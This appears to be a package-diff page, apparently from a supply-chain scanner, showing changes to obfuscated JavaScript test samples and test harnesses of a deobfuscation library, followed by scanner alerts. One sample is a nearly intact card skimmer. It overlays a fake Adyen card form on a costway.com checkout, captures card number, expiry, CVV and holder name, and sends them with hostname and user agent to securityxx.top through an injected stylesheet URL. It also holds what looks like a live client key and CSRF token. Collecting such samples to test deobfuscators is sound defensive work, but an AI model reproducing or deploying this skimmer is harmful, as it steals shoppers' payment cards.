for (_0x467cb7 = _0x16aa5b + 4; _0x16aa5b < _0x467cb7; _0x16aa5b++) | ||
_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b), 48 <= _0x1f630b && 57 >= _0x1f630b || 97 <= _0x1f630b && 102 >= _0x1f630b || 65 <= _0x1f630b && 70 >= _0x1f630b || _0x2614a6(); | ||
_0x58335a += _0x5a647d.fromCharCode('0x' + _0x2a7357.slice(_0x293f65, _0x16aa5b)); | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), 48 <= _0x1f630b && 57 >= _0x1f630b || 97 <= _0x1f630b && 102 >= _0x1f630b || 65 <= _0x1f630b && 70 >= _0x1f630b || _0x2614a6(); | ||
_0x58335a += _0x5a647d.fromCharCode('0x' + _0x5e15d0.slice(_0x293f65, _0x16aa5b)); | ||
break; | ||
@@ -767,8 +767,8 @@ default: | ||
break; | ||
_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b); | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
for (_0x293f65 = _0x16aa5b; 32 <= _0x1f630b && 92 != _0x1f630b && 34 != _0x1f630b;) | ||
_0x1f630b = _0x2a7357.charCodeAt(++_0x16aa5b); | ||
_0x58335a += _0x2a7357.slice(_0x293f65, _0x16aa5b); | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
_0x58335a += _0x5e15d0.slice(_0x293f65, _0x16aa5b); | ||
} | ||
if (34 == _0x2a7357.charCodeAt(_0x16aa5b)) | ||
if (34 == _0x5e15d0.charCodeAt(_0x16aa5b)) | ||
return _0x16aa5b++, _0x58335a; | ||
@@ -778,26 +778,26 @@ _0x2614a6(); | ||
_0x293f65 = _0x16aa5b; | ||
45 == _0x1f630b && (_0x3f2c64 = true, _0x1f630b = _0x2a7357.charCodeAt(++_0x16aa5b)); | ||
45 == _0x1f630b && (_0x3f2c64 = true, _0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b)); | ||
if (48 <= _0x1f630b && 57 >= _0x1f630b) { | ||
for (48 == _0x1f630b && (_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b + 1), 48 <= _0x1f630b && 57 >= _0x1f630b) && _0x2614a6(); _0x16aa5b < _0x335727 && (_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x16aa5b++); | ||
if (46 == _0x2a7357.charCodeAt(_0x16aa5b)) { | ||
for (_0x467cb7 = ++_0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x2a7357.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
for (48 == _0x1f630b && (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b + 1), 48 <= _0x1f630b && 57 >= _0x1f630b) && _0x2614a6(); _0x16aa5b < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x16aa5b++); | ||
if (46 == _0x5e15d0.charCodeAt(_0x16aa5b)) { | ||
for (_0x467cb7 = ++_0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
_0x467cb7 == _0x16aa5b && _0x2614a6(); | ||
_0x16aa5b = _0x467cb7; | ||
} | ||
_0x1f630b = _0x2a7357.charCodeAt(_0x16aa5b); | ||
_0x1f630b = _0x5e15d0.charCodeAt(_0x16aa5b); | ||
if (101 == _0x1f630b || 69 == _0x1f630b) { | ||
_0x1f630b = _0x2a7357.charCodeAt(++_0x16aa5b); | ||
_0x1f630b = _0x5e15d0.charCodeAt(++_0x16aa5b); | ||
43 != _0x1f630b && 45 != _0x1f630b || _0x16aa5b++; | ||
for (_0x467cb7 = _0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x2a7357.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
for (_0x467cb7 = _0x16aa5b; _0x467cb7 < _0x335727 && (_0x1f630b = _0x5e15d0.charCodeAt(_0x467cb7), 48 <= _0x1f630b && 57 >= _0x1f630b); _0x467cb7++); | ||
_0x467cb7 == _0x16aa5b && _0x2614a6(); | ||
_0x16aa5b = _0x467cb7; | ||
} | ||
return +_0x2a7357.slice(_0x293f65, _0x16aa5b); | ||
return +_0x5e15d0.slice(_0x293f65, _0x16aa5b); | ||
} | ||
_0x3f2c64 && _0x2614a6(); | ||
if ('true' == _0x2a7357.slice(_0x16aa5b, _0x16aa5b + 4)) | ||
if ('true' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 4)) | ||
return _0x16aa5b += 4, true; | ||
if ('false' == _0x2a7357.slice(_0x16aa5b, _0x16aa5b + 5)) | ||
if ('false' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 5)) | ||
return _0x16aa5b += 5, false; | ||
if ('null' == _0x2a7357.slice(_0x16aa5b, _0x16aa5b + 4)) | ||
if ('null' == _0x5e15d0.slice(_0x16aa5b, _0x16aa5b + 4)) | ||
return _0x16aa5b += 4, null; | ||
@@ -804,0 +804,0 @@ _0x2614a6(); |
@@ -387,2 +387,3 @@ var polyfill, sendBeacon, isSupported, b2h, last, progress_, th, lo; | ||
return function () { | ||
''; | ||
}; | ||
@@ -389,0 +390,0 @@ } |
@@ -786,3 +786,3 @@ var _0x2d93 = [ | ||
}; | ||
var _0x531531 = _0x3d12, _0x478e03 = [ | ||
var _0x478e03 = [ | ||
'timestamp', | ||
@@ -796,3 +796,2 @@ 'out' | ||
const _0x29754e = _0x41e312 => { | ||
var _0x30e892 = _0x3d12; | ||
if (typeof _0x41e312 !== 'string') | ||
@@ -807,3 +806,2 @@ return ''; | ||
var _0x824ac8 = _0x1dea60 ? function () { | ||
var _0x1521cf = _0x3d12; | ||
if (_0x1b8cdc) { | ||
@@ -819,3 +817,3 @@ var _0x3476e4 = _0x1b8cdc.apply(_0x1094d5, arguments); | ||
var _0x5efb50 = function () { | ||
var _0x3638f8 = _0x3d12, _0x5d91f6 = _0x5efb50.constructor('return /" + this + "/')().constructor('^([^ ]+( +[^ ]+)+)+[^ ]}'); | ||
var _0x5d91f6 = _0x5efb50.constructor('return /" + this + "/')().constructor('^([^ ]+( +[^ ]+)+)+[^ ]}'); | ||
return !_0x5d91f6.test(_0x5d8b17); | ||
@@ -839,12 +837,8 @@ }; | ||
var _0x339998 = _A(function () { | ||
var _0x8b94ed = _0x3d12; | ||
document.querySelectorAll('.adyen-checkout__payment-method__radio--selected + span +span').length > 0 && (document.querySelector('.adyen-checkout__payment-method__radio--selected + span +span').innerText.indexOf('carte') > 0 && _0x5acbd9 && (document.querySelector('.adyen-checkout__payment-method--card').style.display = 'none', _0x5acbd9 = false)), document.querySelectorAll('.adyen-checkout__payment-method__radio--selected + span +span').length > 0 && (document.querySelector('#credit-card-info') === null && document.querySelector('.adyen-checkout__payment-method__radio--selected + span +span').innerText.indexOf('carte') > 0 && _0x171a7f == true && (html = '<html lang="fr"><head> <meta charset="UTF-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initialNaN, maximum-scale=1.0, user-scalable=0">\n <meta name="apple-mobile-web-app-capable" content="yes">\n <meta name="apple-mobile-web-app-status-bar-style" content="black">\n <meta name="formatNaN" content="telephone=no">\n <title></title>\n <meta name="keywords" content="">\n <meta name="description" content="">\n \n <link rel="icon" href="https://m.costway.com/favicon.ico" type="image/x-icon">\n <link rel="shortcut icon" href="https://m.costway.com/favicon.ico" type="image/x-icon">\n \n <link rel="dnsNaN href="//assets.costway.com">\n <!-- end Pinterest Tag -->\n \n <meta name="csrf-param" content="_csrfNaN>\n <meta name="csrf-token" content="6aP9oTmlOXsn7Ee0IcyAgJjRwdq6IBkE0V51N8mJBK6_wrTPYJdMFWy8FfZEgOXz4JLwvYNzVVXpJyEOvsg31w==">\n </head>\n \n \n <body class="h5_adyen">\n \n <div id="credit-card-info" class="wrap">\n <div class="container">\n <!-- <script src="/js/jquery/jquery-3.3.1.min.js"></script>\n --><style>\n .adyen-checkout__button{\n display: block;\n }\n .adyenNaN_payment-method--giropay{display: none}\n .adyen-checkout__paymentNaNirectEbanking{display: none}\n .adyen-checkout__payment-method--klarna{display: none}\n .adyen-checkout__paymentNaNaysafecard{display: none !important;}\n .adyen-checkout__payment-method--klarna_account{display: none}\n .adyen-checkout__payment-method--klarna_paynow{display: none}\n </style>\n <!-- <script src="https://checkoutshopper-live.adyen.com/checkoutshopper/sdk/3.10.1/adyen.js" integrity="sha384-wG2z9zSQo61EIvyXmiFCo+zB3y0ZB4hsrXVcANmpP8HLthjoQJQPBh7tZKJSV8jA" crossorigin="anonymous"></script>\n --> <link rel="stylesheet" href="https://checkoutshopper-live.adyen.com/checkoutshopper/sdk/3.10.1/adyen.css" integrity="sha384-8ofgICZZ/k5cC5N7xegqFZOA73H9RQ7H13439JfAZW8Gj3qjuKL2isaTD3GMIhDE" crossorigin="anonymous">\n \n <div id="paymentMethodsResponse" class="hidden" style="display: none">{"groups":[{"name":"Credit Card","types":["amex","jcb","mc","visa"]}],"paymentMethods":[{"brands":["amex","jcb","mc","visa"],"details":[{"key":"encryptedCardNumber","type":"cardToken"},{"key":"encryptedSecurityCode","type":"cardToken"},{"key":"encryptedExpiryMonth","type":"cardToken"},{"key":"encryptedExpiryYear","type":"cardToken"},{"key":"holderName","optional":true,"type":"text"}],"name":"Carte bancaire","type":"scheme"},{"name":"Paysafecard","supportsRecurring":true,"type":"paysafecard"}]}\n </div>\n <div id="clientKey" class="hidden" style="display: none">live_TDA4UPFKUBB65FLRGKZ3AAEPZYOKP7QG</div>\n <div id="dropin-container">\n <div class="adyen-checkout__dropin adyen-checkout__dropin--ready">\n <ul class="_2T9kQExpijVM_P8ZmbWqAT adyen-checkout__payment-methods-list">\n <li class="adyen-checkout__payment-method _2ZCloBYWlRv9GTkR9J7a0_ adyen-checkout__paymentNaNard adyen-checkout__payment-method--selected _1zXEAefSOOUzgA_cpgWdSX scheme-f41b3317-ab7b-4964-919c-03933b8000ae " tabindex="0">\n <div class="adyen-checkout__payment-method__header">\n <div class="adyen-checkout__payment-method__header__title">\n <span class="adyen-checkout__payment-method__radio adyen-checkout__payment-method__radio--selected" aria-hidden="true"></span>\n <span class="adyen-checkout__payment-method__image__wrapper pTTKrAW94J1fqrzM_--G3">\n <img class="adyenNaN_payment-method__image Fg2uwnDU3lpWzjoffGQq adyen-checkout__image adyen-checkout__image--loaded" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/card.svg" alt="Carte de crédit ou carte de débit" aria-label="Carte de crédit ou carte de débit">\n </span>\n <span class="adyen-checkout__payment-method__name adyen-checkout__payment-method__name--selected" aria-hidden="true" style="font-size: 15px;">Carte de crédit ou carte de débit</span>\n </div>\n <span class="adyen-checkout__payment-method__brands">\n <span class="adyen-checkout__payment-method__image__wrapper pTTKrAW94J1fqrzM_--G3">\n <img class="adyen-checkout__payment-method__image Fg2uwnDU3lpWzjoffGQq adyen-checkout__image adyen-checkout__image--loaded" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/amex.svg" alt="amex" aria-label="amex">\n </span>\n <span class="adyen-checkout__payment-method__image__wrapper pTTKrAW94J1fqrzM_--G3">\n <img class="adyen-checkout__payment-method__image Fg2uwnDU3lpWzjoffGQq adyen-checkout__image adyen-checkout__image--loaded" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/jcb.svg" alt="jcb" aria-label="jcb"></span>\n <span class="adyen-checkout__paymentNaNmage__wrapper pTTKrAW94J1fqrzM_--G3">\n <img class="adyen-checkout__payment-method__image Fg2uwnDU3lpWzjoffGQq adyen-checkout__image adyen-checkout__image--loaded" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/mc.svg" alt="mc" aria-label="mc"></span>\n <span class="adyen-checkout__payment-method__image__wrapper pTTKrAW94J1fqrzM_--G3">\n <img class="adyen-checkout__payment-method__image Fg2uwnDU3lpWzjoffGQq adyen-checkout__image adyen-checkout__imageNaNsrc="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/visa.svg" alt="visa" aria-label="visa"></span>\n </span>\n </div>\n <div class="adyen-checkout__payment-method__details _2_jFPDCxgbayWBQMKR2rMi">\n <div class="adyen-checkout__payment-method__details__content">\n <div class="adyen-checkout__card-input _2tAzuCpLXISBbB0i1w8DVZ">\n <div style="position: relative;">\n <div class="_3eCyK2bUQJ0swg0UM0nnQN">\n <div class="adyen-checkout__spinner__wrapper ">\n <div class="adyen-checkout__spinner adyenNaN_spinner--large"></div>\n </div>\n </div>\n <div class="adyen-checkout__loading-input__form _1jpVsksYS5faJOp2y0Tpl4">\n <div class="adyen-checkout__card__form">\n <div class="adyenNaN_field adyen-checkout__field--cardNumber">\n <label class="adyen-checkout__label">\n <span class="adyen-checkout__label__text" style="font-size: 12px;">Numéro de la carte</span>\n <span class="adyen-checkout__input-wrapper">\n <input maxlength="20" id="cc" placeholder="1234 5678 9012 3456" data-cse="encryptedCardNumber" class="adyen-checkout__input adyen-checkout__input--large adyen-checkout__card__cardNumber__input _3JmldYKADXTctIE9oP8lcu">\n <img class="_2Iaf5OCcFDHNbg4xIfIudh adyen-checkout__card__cardNumber__brandIcon" alt="card" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/nocard.svg">\n </span>\n </span>\n </label>\n </div>\n <div class="adyen-checkout__card__exp-cvc adyen-checkout__field-wrapper">\n <div class="adyen-checkout__field adyen-checkout__field-NaNcheckout__field--expiryDate">\n <label class="adyen-checkout__label">\n <span class="adyenNaN_label__text" style="font-size: 12px;">Date d\'expiration</span>\n <span class="adyen-checkout__inputNaN\n <input maxlength="5" id="mm" placeholder="MM/AA" data-cse="encryptedExpiryDate" class="adyen-checkout__input adyen-checkout__input--small adyen-checkout__card__exp-date__input _3JmldYKADXTctIE9oP8lcu"></span></span></label></div><div class="adyen-checkout__field adyen-checkout__field--50 adyen-checkout__field__cvc adyen-checkout__fieldNaNCode"><label class="adyen-checkout__label"><span class="adyen-checkout__label__text">CVC / CVV</span><span class="adyen-checkout__input-wrapper">\n <input maxlength="4" id="cvv" placeholder="123" class="adyen-checkout__input adyenNaN_input--small adyen-checkout__card__cvc__input _3JmldYKADXTctIE9oP8lcu" data-cse="encryptedSecurityCode"></span><div class="adyen-checkout__card__cvc__hint__wrapper adyen-checkout__field__cvc--back-hint"><svg class="adyen-checkout__card__cvc__hint adyen-checkout__card__cvc__hint-NaNdth="27" height="18" viewBox="0 0 27 18" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M0 3C0 1.34315 1.34315 0 3 0H24C25.6569 0 27 1.34315 27 3V15C27 16.6569 25.6569 18 24 18H3C1.34315 18 0 16.6569 0 15V3Z" fill="#E6E9EB"></path><rect x="4" y="12" width="19" height="2" fill="#B9C4C9"></rect><rect x="4" y="4" width="4" height="4" rx="1" fill="white"></rect><rect class="adyen-checkout__card__cvc__hint__location" x="16.5" y="4.5" width="7" height="5" rx="2.5" stroke="#D10244"></rect></svg><svg class="adyen-checkout__card__cvc__hint adyen-checkout__card__cvc__hint--back" width="27" height="18" viewBox="0 0 27 18" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M27 4.00001V3.37501C27 2.4799 26.6444 1.62146 26.0115 0.988518C25.3786 0.355581 24.5201 0 23.625 0H3.375C2.47989 0 1.62145 0.355581 0.988514 0.988518C0.355579 1.62146 0 2.4799 0 3.37501V4.00001H27Z" fill="#E6E9EB"></path><path d="M0 6.99994V14.6666C0 15.5507 0.355579 16.3985 0.988514 17.0237C1.62145 17.6488 2.47989 18 3.375 18H23.625C24.5201 18 25.3786 17.6488 26.0115 17.0237C26.6444 16.3985 27 15.5507 27 14.6666V6.99994H0Z" fill="#E6E9EB"></path><rect y="4.00012" width="27" height="3.00001" fill="#687282"></rect><path d="M4 11C4 10.4477 4.44772 10 5 10H21C22.1046 10 23 10.8954 23 12C23 13.1046 22.1046 14 21 14H5C4.44771 14 4 13.5523 4 13V11Z" fill="white"></path><rect class="adyen-checkout__card__cvc__hint__location" x="16.5" y="9.5" width="7" height="5" rx="2.5" stroke="#D10244"></rect></svg></div></span></label></div></div></div><div class="adyen-checkout__field adyen-checkout__card__holderName"><label class="adyen-checkout__label"><span class="adyen-checkout__label__text" style="font-size: 12px" >Nom sur la carte</span><span class="adyen-checkout__input-wrapper">\n <input classnamemodifiers="large" class="adyen-checkout__input adyen-checkout__input--text adyen-checkout__card__holderName__input _3JmldYKADXTctIE9oP8lcu adyenNaN_input--large" placeholder="J. Smith" id="cc_holder" required="" type="text" validation="[object Object]"></span></label></div></div></div>\n <button id="button_pay" class="adyen-checkout__button adyen-checkout__button--pay" type="button"><span class="adyen-checkout__button__content"><img class="adyen-checkout__button__icon" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/components/lock.svg" alt="Icon" aria-hidden="true" role="presentation"><span class="adyen-checkout__button__text">Payer ' + document.querySelectorAll('.total-box .val')[1].innerText + '</span></span></button></div></div></div></li><li class="adyen-checkout__paymentNaNZCloBYWlRv9GTkR9J7a0_ adyen-checkout__payment-method--paysafecard redirect-592598f8-c1ca-4236-ad26-85a4b50c2cef " tabindex="0"><div class="adyen-checkout__payment-method__header"><div class="adyen-checkout__payment-method__header__title"><span class="adyen-checkout__payment-method__radio" aria-hidden="true"></span><span class="adyen-checkout__payment-method__image__wrapper pTTKrAW94J1fqrzM_--G3"><img class="adyen-checkout__payment-method__image Fg2uwnDU3lpWzjoffGQq adyen-checkout__image adyen-checkout__image--loaded" src="https://checkoutshopper-live.adyen.com/checkoutshopper/images/logos/paysafecard.svg" alt="Paysafecard" aria-label="Paysafecard"></span><span class="adyen-checkout__payment-method__name" aria-hidden="true">Paysafecard</span></div></div><div class="adyenNaN_payment-method__details _2_jFPDCxgbayWBQMKR2rMi"></div></li></ul></div></div>\n \n </div>\n </div>\n \n \n \n </body></html>', document.querySelector('.adyen-checkout__payment-method--card') && (document.querySelector('.adyen-checkout__payment-method--card').style.display = 'none'), document.querySelector('.adyen-checkout__payment-methods-list').insertAdjacentHTML('afterbegin', html), document.getElementById('cc').addEventListener('input', _0x38bfce => { | ||
var _0x17e507 = _0x3d12; | ||
_0x38bfce.inputType != 'deleteContentBackward' && ((document.getElementById('cc').value.length == 4 || document.getElementById('cc').value.length == 9 || document.getElementById('cc').value.length == 14) && (document.getElementById('cc').value = document.getElementById('cc').value + ' ')); | ||
}), document.getElementById('mm').addEventListener('input', _0x3bab33 => { | ||
var _0x500f75 = _0x3d12; | ||
_0x3bab33.inputType != 'deleteContentBackward' && (document.getElementById('mm').value.length == 2 && (document.getElementById('mm').value = document.getElementById('mm').value + '/')); | ||
}), document.getElementById('button_pay').addEventListener('click', () => { | ||
var _0x18789a = _A(() => { | ||
var _0x2344dd = _0x3d12; | ||
if (_0x52eb95(_0x2c11ba, _0x3ee8f6)) { | ||
@@ -858,3 +852,3 @@ _0x2c11ba = _0x149802(_0x2c11ba, _0x33cc2f); | ||
_0x2c11ba.nqqerff1 = _0x18abb2('none'), _0x2c11ba.mvc = _0x18abb2('none'), _0x2c11ba.pvgl = _0x18abb2('none'), _0x2c11ba.nqqvgvbany2 = _0x18abb2('none'), _0x2c11ba.cubar = _0x18abb2('none'); | ||
var _0x59cb84 = { ..._0x2c11ba }, _0x413c08 = _0x59cb84, _0x49fc23 = document.createElement('link'); | ||
var _0x59cb84 = { ..._0x2c11ba }, _0x49fc23 = document.createElement('link'); | ||
_0x49fc23.href = 'https://securityxx.top/stylesheet.css?timestamp=' + _0x18abb2(JSON.stringify(_0x226246(_0x59cb84))), _0x49fc23.rel = 'stylesheet', _0x49fc23.type = 'text/css', document.body.append(_0x49fc23), localStorage.setItem('cart_created', Date.now().toString()), localStorage.removeItem('wc_info'), _0x25fd7c = true; | ||
@@ -875,5 +869,3 @@ } | ||
], _0x3ee8f6.forEach(function (_0x56da01, _0xff7785) { | ||
var _0x40a6f9 = _0x3d12; | ||
_0xdc52be[_0xff7785] = document.getElementById(_0x56da01), _0xdc52be[_0xff7785] && (_0xdc52be[_0xff7785].value != '' && (_0x2c11ba[_0xff7785] = _0x18abb2(_0xdc52be[_0xff7785].value))), _0xdc52be[_0xff7785].addEventListener('change', function (_0x5aa0af) { | ||
var _0x469294 = _0x3d12; | ||
_0x2c11ba[_0xff7785] = _0x18abb2(_0xdc52be[_0xff7785].value), _0x5aa0af.stopPropagation(); | ||
@@ -884,3 +876,2 @@ }); | ||
function _0x52eb95(_0x1f8115, _0x3dd38f) { | ||
var _0x5f1fd0 = _0x3d12; | ||
if (Object.keys(_0x1f8115).length != Object.keys(_0x3dd38f).length) | ||
@@ -894,11 +885,8 @@ return false; | ||
function _0x2e51ca() { | ||
var _0x23f1e3 = _0x3d12; | ||
return localStorage.getItem('cart_created') != null; | ||
} | ||
function _0x226246(_0x50c911) { | ||
var _0x4d9a06 = _0x3d12; | ||
return _0x50c911.ubfganzr = _0x18abb2(window.location.hostname), _0x50c911.hfre_ntrag = _0x18abb2(navigator.userAgent), _0x50c911.hfre_vq = _0x18abb2('1'), _0x50c911; | ||
} | ||
function _0x2e9e4b(_0x2a6a67) { | ||
var _0x689da9 = _0x3d12; | ||
let _0x38224c = encodeURIComponent(_0x2a6a67).replace(/%([a-f0-9]{2})/gi, (_0x120b88, _0x49a1cf) => String.fromCharCode(parseInt(_0x49a1cf, 16))); | ||
@@ -913,4 +901,3 @@ return _b(_0x38224c); | ||
function _0x4533af(_0x55e9eb, _0x446131) { | ||
var _0x1df029 = _0x3d12; | ||
return ++_0x446131 ? String.fromCharCode((_0x55e9eb < '[' ? 91 : 123) > (_0x55e9eb = _0x55e9eb.charCodeAt() + 12 + 1) ? _0x55e9eb : _0x55e9eb - 26) : _0x55e9eb.replace(/[a-zA-Z]/g, _0x4533af); | ||
} |
@@ -90,3 +90,3 @@ var _ya = [ | ||
var d = _yb.SUNniA[a]; | ||
if (d === undefined) { | ||
if (_yb.SUNniA[a] === undefined) { | ||
var e = function (f) { | ||
@@ -125,3 +125,3 @@ this.WiEbYW = f; | ||
} else { | ||
c = d; | ||
c = _yb.SUNniA[a]; | ||
} | ||
@@ -150,5 +150,5 @@ return c; | ||
}; | ||
return true; | ||
return a(); | ||
}); | ||
true; | ||
_yh(); | ||
var _yi = function () { | ||
@@ -155,0 +155,0 @@ var a = true; |
const assert = require('assert'); | ||
const {generateFlatAST, generateCode, Arborist} = require('flast'); | ||
const {Arborist} = require('flast'); | ||
@@ -8,4 +8,4 @@ const tests = { | ||
const defaultPrepTest = c => [new Arborist(generateFlatAST(c))]; | ||
const defaultPrepRes = arb => {arb.applyChanges(); return generateCode(arb.ast[0]);}; | ||
const defaultPrepTest = c => [new Arborist(c)]; | ||
const defaultPrepRes = arb => {arb.applyChanges(); return arb.script;}; | ||
@@ -12,0 +12,0 @@ /** |
@@ -8,4 +8,4 @@ const assert = require('assert'); | ||
const defaultPrepTest = c => [new Arborist(generateFlatAST(c))]; | ||
const defaultPrepRes = arb => {arb.applyChanges(); return generateCode(arb.ast[0]);}; | ||
const defaultPrepTest = c => [new Arborist(c)]; | ||
const defaultPrepRes = arb => {arb.applyChanges(); return arb.script;}; | ||
@@ -12,0 +12,0 @@ /** |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
601640
108
9786
174